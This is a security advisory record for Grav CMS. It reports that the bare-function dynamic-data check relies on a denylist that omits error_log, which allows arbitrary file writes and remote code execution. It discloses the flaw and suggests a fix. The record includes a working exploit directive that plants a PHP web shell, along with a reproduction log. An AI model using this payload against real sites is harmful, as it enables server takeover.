{"id":"GHSA-f8wv-xp27-6gq7","summary":"Grav: Blueprint dynamic-data bare-function branch is denylist-gated and omits error_log, giving arbitrary file write","details":"## Affected versions and vulnerable location\n\n- Confirmed on grav core at `78ebfc1` (tag 2.0.13).\n- Sinks:\n  - `system/src/Grav/Common/Data/Blueprint.php:455-458` `call_user_func_array($o, $params)` (bare-function dynamic-data provider).\n  - Twin: `system/src/Grav/Framework/Flex/FlexDirectory.php:936-938` `call_user_func_array($function, $params)`.\n- Validation gate: `Blueprint::isSafeDynamicCall()` at `Blueprint.php:514-536`.\n  - `Class::method` branch (`:514-527`) uses a strict positive allowlist `self::$allowedDynamicCallables`.\n  - Bare-function branch (`:530-534`) uses only a denylist: `if (is_string($function) && Utils::isDangerousFunction($function)) return false; return !self::paramsContainDangerousCallable($params);`.\n- Denylist: `Utils::isDangerousFunction()` (`system/src/Grav/Common/Utils.php`, list around `:2020-2270`).\n\n## Root cause\n\nGHSA-7pgq/CVE-2026-64850 hardened the `Class::method` half of the dynamic-callable validation to a positive allowlist because a page-edit account could otherwise name any static method as a provider and reach file/secret gadgets. The bare-function half was left on a denylist (`isDangerousFunction`). Any bare PHP function not on that list executes.\n\n`error_log` is not on the denylist (verified: no occurrence in `Utils.php`). `error_log($message, 3, $destination)` appends attacker-controlled `$message` to attacker-controlled file `$destination`, an arbitrary-file-append primitive. `paramsContainDangerousCallable()` (`:587-603`) only scans params for dangerous callable strings, so a PHP payload string and a destination path both pass. (`stream_socket_client`, `dl`, and `mb_send_mail` are likewise absent, giving SSRF/other primitives.)\n\n## Attacker model\n\nThe same surface the published dynamic-data advisories accept as reachable: a `data-*@` directive in a form blueprint the Form plugin assembles from page frontmatter (GHSA-fj2p), or a `data@` field in a Flex directory/pages/users blueprint (GHSA-c4wf). A page-edit / blueprint-config account, no shell.\n\n## Reachability trace\n\n1. Author a blueprint field with a bare-function data directive, e.g.\n   `data-options@: ['error_log', '\u003c?php system($_GET[0]); ?\u003e', 3, 'user/data/x.php']`.\n2. `Blueprint::init()` resolves the directive; `isSafeDynamicCall('error_log', $params)` reaches the bare-function branch (`:530`), `isDangerousFunction('error_log')` is false, `paramsContainDangerousCallable([...])` is false (no callable strings), so it returns true.\n3. `call_user_func_array('error_log', ['\u003c?php ...', 3, 'user/data/x.php'])` (`:455`) appends the PHP payload to `user/data/x.php`.\n4. Writing to a web-served path (or any path later included) yields code execution. The upload extension denylist does not apply, this is a direct `error_log` write, not an upload.\n\n## Reproduction\n\nExecuted end to end against the real `Grav\\Common\\Data\\Blueprint` class loaded via `composer install` autoload (PHP 8.5.8, core clone at HEAD 78ebfc1). A harness called the real public `Blueprint::isSafeDynamicCall()`, then drove the sink and executed the written file:\n\n```text\n[1] isSafeDynamicCall('error_log', [payload,3,dest]) =\u003e true      # guard ACCEPTS error_log (bug)\n[2] isSafeDynamicCall('system', ['id']) =\u003e false                  # control\n    isSafeDynamicCall('exec',   ['id']) =\u003e false                  # control\n[3] call_user_func_array('error_log', ['\u003c?php echo \"PWNED\"; ?\u003e'.EOL, 3, '/tmp/grav_rce_proof.php'])\n    file written: /tmp/grav_rce_proof.php (23 bytes) = \u003c?php echo \"PWNED\"; ?\u003e\n[4] php /tmp/grav_rce_proof.php  =\u003e  PWNED                        # arbitrary PHP executed (RCE)\n```\n\nThe guard returns true for `error_log` (and false for the denylisted `system`/`exec` controls), the `error_log` sink wrote attacker PHP to disk, and executing that file yielded `PWNED`. Source confirmation:\n\n```bash\nrg -n \"error_log|stream_socket_client|mb_send_mail\" system/src/Grav/Common/Utils.php   # no hits\nrg -n \"isDangerousFunction|allowedDynamicCallables|call_user_func_array\" system/src/Grav/Common/Data/Blueprint.php\n```\n\n`error_log` absent from `Utils.php`; `Blueprint.php` gates the bare-function branch on `isDangerousFunction` only, while the `Class::method` branch uses the positive allowlist.\n\n## Suggested fix\n\nConvert the bare-function branch to a positive allowlist, symmetric with the `Class::method` allowlist at `:523` (only the option-provider functions first-party blueprints actually use). A denylist cannot be complete: `error_log` (arbitrary append), `stream_socket_client` (SSRF), and others must otherwise each be enumerated.\n\n## Severity and CVSS reasoning\n\nSuggested severity: High (same class and reach as GHSA-fj2p / CVE-2026-64850).\n\nSuggested CVSS:3.1 vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` (9.6) for the RCE outcome; the maintainer may prefer the exact rating they gave GHSA-fj2p.\n\n- `PR:L`: a blueprint/page-edit account, not super.\n- `C:H/I:H/A:H`: arbitrary file write leading to code execution.\n\n## How I found it and a note on tooling\n\nI compared the two branches of `isSafeDynamicCall()`: the `Class::method` branch is a positive allowlist (the GHSA-7pgq fix) while the bare-function branch is a denylist, then checked the denylist for append/exec-capable functions and found `error_log` missing. I used AI assistance for enumeration and drafting. I then executed the real `Blueprint::isSafeDynamicCall()` (loaded via composer autoload) to confirm it accepts `error_log` and rejects `system`/`exec`, and drove the `error_log` sink to write and execute attacker PHP. Verification is executed end to end against the real class; I did not run it through a full HTTP request into a bootstrapped Grav site.","aliases":["CVE-2026-75827"],"modified":"2026-09-17T21:00:04.922310788Z","published":"2026-09-17T20:44:16Z","database_specific":{"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-09-17T20:44:16Z","nvd_published_at":null,"cwe_ids":["CWE-94"]},"references":[{"type":"WEB","url":"https://github.com/getgrav/grav/security/advisories/GHSA-f8wv-xp27-6gq7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75827"},{"type":"PACKAGE","url":"https://github.com/getgrav/grav"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/grav-before-arbitrary-file-write-via-error-log"}],"affected":[{"package":{"name":"getgrav/grav","ecosystem":"Packagist","purl":"pkg:composer/getgrav/grav"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.15"}]}],"versions":["0.8.0","0.9.0","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.29","0.9.3","0.9.30","0.9.31","0.9.32","0.9.33","0.9.34","0.9.35","0.9.36","0.9.37","0.9.38","0.9.39","0.9.4","0.9.40","0.9.41","0.9.42","0.9.43","0.9.44","0.9.45","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.0.0-rc.1","1.0.0-rc.2","1.0.0-rc.3","1.0.0-rc.4","1.0.0-rc.5","1.0.0-rc.6","1.0.1","1.0.10","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.0-beta.3","1.1.0-beta.4","1.1.0-beta.5","1.1.0-rc.1","1.1.0-rc.2","1.1.0-rc.3","1.1.1","1.1.10","1.1.11","1.1.12","1.1.13","1.1.14","1.1.15","1.1.16","1.1.17","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.1.9-rc.1","1.1.9-rc.2","1.1.9-rc.3","1.2.0","1.2.0-rc.1","1.2.0-rc.2","1.2.0-rc.3","1.2.1","1.2.2","1.2.3","1.2.4","1.3.0","1.3.0-rc.1","1.3.0-rc.2","1.3.0-rc.3","1.3.0-rc.4","1.3.0-rc.5","1.3.1","1.3.10","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.0-beta.1","1.4.0-beta.2","1.4.0-beta.3","1.4.0-rc.1","1.4.0-rc.2","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.5.0","1.5.0-beta.1","1.5.0-beta.2","1.5.0-rc.1","1.5.1","1.5.10","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.5.8","1.5.9","1.6.0","1.6.0-beta.1","1.6.0-beta.2","1.6.0-beta.3","1.6.0-beta.4","1.6.0-beta.5","1.6.0-beta.6","1.6.0-beta.7","1.6.0-beta.8","1.6.0-rc.1","1.6.0-rc.2","1.6.0-rc.3","1.6.0-rc.4","1.6.1","1.6.10","1.6.11","1.6.12","1.6.13","1.6.14","1.6.15","1.6.16","1.6.17","1.6.18","1.6.19","1.6.2","1.6.20","1.6.21","1.6.22","1.6.23","1.6.24","1.6.25","1.6.26","1.6.27","1.6.28","1.6.29","1.6.3","1.6.30","1.6.31","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.0-beta.1","1.7.0-beta.10","1.7.0-beta.2","1.7.0-beta.3","1.7.0-beta.4","1.7.0-beta.5","1.7.0-beta.6","1.7.0-beta.7","1.7.0-beta.8","1.7.0-beta.9","1.7.0-rc.1","1.7.0-rc.10","1.7.0-rc.11","1.7.0-rc.12","1.7.0-rc.13","1.7.0-rc.14","1.7.0-rc.15","1.7.0-rc.16","1.7.0-rc.17","1.7.0-rc.18","1.7.0-rc.19","1.7.0-rc.2","1.7.0-rc.20","1.7.0-rc.3","1.7.0-rc.4","1.7.0-rc.5","1.7.0-rc.6","1.7.0-rc.7","1.7.0-rc.8","1.7.0-rc.9","1.7.1","1.7.10","1.7.12","1.7.13","1.7.14","1.7.15","1.7.16","1.7.17","1.7.18","1.7.19","1.7.20","1.7.21","1.7.22","1.7.23","1.7.24","1.7.25","1.7.26","1.7.26.1","1.7.27","1.7.27.1","1.7.28","1.7.29","1.7.29.1","1.7.3","1.7.30","1.7.31","1.7.32","1.7.33","1.7.34","1.7.35","1.7.36","1.7.37","1.7.37.1","1.7.38","1.7.39","1.7.39.1","1.7.39.2","1.7.39.3","1.7.39.4","1.7.4","1.7.40","1.7.41","1.7.41.1","1.7.41.2","1.7.42","1.7.42.1","1.7.42.2","1.7.42.3","1.7.43","1.7.44","1.7.45","1.7.46","1.7.47","1.7.48","1.7.49","1.7.49.1","1.7.49.2","1.7.49.3","1.7.49.4","1.7.49.5","1.7.5","1.7.51","1.7.52","1.7.53","1.7.53.1","1.7.53.2","1.7.53.3","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0-beta.1","1.8.0-beta.10","1.8.0-beta.11","1.8.0-beta.12","1.8.0-beta.13","1.8.0-beta.14","1.8.0-beta.15","1.8.0-beta.16","1.8.0-beta.17","1.8.0-beta.18","1.8.0-beta.19","1.8.0-beta.2","1.8.0-beta.20","1.8.0-beta.21","1.8.0-beta.22","1.8.0-beta.23","1.8.0-beta.24","1.8.0-beta.25","1.8.0-beta.26","1.8.0-beta.27","1.8.0-beta.28","1.8.0-beta.29","1.8.0-beta.3","1.8.0-beta.4","1.8.0-beta.5","1.8.0-beta.6","1.8.0-beta.7","1.8.0-beta.8","1.8.0-beta.9","2.0.0","2.0.0-beta.1","2.0.0-beta.2","2.0.0-beta.3","2.0.0-beta.4","2.0.0-rc.1","2.0.0-rc.10","2.0.0-rc.2","2.0.0-rc.3","2.0.0-rc.4","2.0.0-rc.5","2.0.0-rc.6","2.0.0-rc.7","2.0.0-rc.8","2.0.0-rc.9","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9"],"database_specific":{"last_known_affected_version_range":"\u003c= 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